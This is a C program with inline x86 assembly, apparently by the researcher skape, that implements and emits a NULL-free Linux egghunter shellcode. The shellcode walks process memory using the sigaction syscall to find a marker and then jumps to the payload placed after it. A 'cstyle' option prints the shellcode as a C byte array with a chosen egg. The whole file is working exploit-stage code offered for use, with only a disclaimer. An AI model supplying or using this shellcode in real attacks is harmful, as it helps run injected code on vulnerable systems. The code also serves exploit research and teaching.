/*
 * Searches process memory for an egg.
 *
 * Usage
 *
 *    $ ./x86-egghunt 
 *    Usage: ./x86-egghunt [test | cstyle] [egg]
 *
 *    To test the shellcode:
 *
 *    $ ./x86-egghunt test
 *    The egghunt was successful.
 *
 *    To generate c-styled shellcode:
 *
 *    $ ./x86-egghunt cstyle 0x50905090
 *
 * Features
 *
 *    * No NULLs
 *
 * Disclaimer
 *
 *    The author cannot be held responsible for how this shellcode is used.
 *
 * skape
 * mmiller@hick.org
 */
#include <stdlib.h>
#include <stdio.h>

void egghunt_begin();
void egghunt_end();

#define EGG_OFFSET       11
#define SET_EGG(sc, val) *((unsigned long *)((sc) + EGG_OFFSET)) = val

/*
 * Using the 'sigaction' system call:
 *
 * The logic in this incarnation is to use the sigaction structure as a point of
 * address validation whereby 8 bytes of contiguous memory are validated upon
 * using the 'sigaction' system call.  If the pointr supplied in ecx is not
 * valid for at least sizeof(struct sigaction) bytes, EFAULT will be returned
 * and the pointer will be skipped.
 *
 * Using the 'chroot' system call:
 *
 * This method required that ebx point to the address to be validated plus four
 * in order to validate 8 bytes of contiguous memory.  This method is
 * theoretically more reliable than the new method, but it is also three bytes
 * larger due to the need to calculate the addr + 4.
 */
__asm__("
__BEGIN__:
egghunt_begin:
#	xor  %ecx, %ecx
loop_inc_one:
	inc  %ecx
loop_check: 
	push $67
	pop  %eax
	int  $0x80
	cmp  $0xf2, %al
	je   loop_inc_one

is_egg:
	mov  $0x90509050, %eax
	inc  %eax
	cmpl (%ecx), %eax
	jnz  loop_inc_one

	jmp  *%ecx

# Test shellcode below

__END__:
egghunt_end:
	.ascii \"\\x51\"
	nop
	push %eax
	nop
	push $str
	call printf
	mov  $0x01, %eax
	int  $0x80

str:
	.string \"The egghunt was successful\\n\"

		");

int main(int argc, char **argv)
{
	if (argc == 1)
	{
		fprintf(stdout, "Usage: %s [test | cstyle] [4 byte egg hex (eg: 0x41424142)]\n", argv[0]);
		return 0;
	}

	if (!strcmp(argv[1], "test"))
		egghunt_begin();
	else if (!strcmp(argv[1], "cstyle"))
	{
		unsigned char *start = (unsigned char *)((unsigned char *)egghunt_begin);
		unsigned char *stop  = (unsigned char *)((unsigned char *)egghunt_end);
		unsigned long x      = 0, length, egg = 0x90509050;
		unsigned char *copy;

		// Calculate the actual address in memory of the begin/end function based off their relative jmp points.
		length   = stop - start;

		if (!(copy = (unsigned char *)malloc(length)))
		{
			printf("allocation failed\n");
			return 0;
		}

		memcpy(copy, start, length);

		if (argc >= 3)
			egg = strtoul(argv[2], NULL, 16);

		SET_EGG(copy, egg);

		fprintf(stdout, "// %lu byte egghunt shellcode (egg=0x%.8x)\n\n", length, (unsigned int)egg);
		fprintf(stdout, "unsigned char egghunt[] = \"");

		for (x = 0;
		     x < length;
		     x++)
			fprintf(stdout, "\\x%2.2x", copy[x]);

		fprintf(stdout, "\";\n\n");

		free(copy);
	}
	else
		fprintf(stdout, "%s: invalid option\n", argv[0]);

	return 1;
}
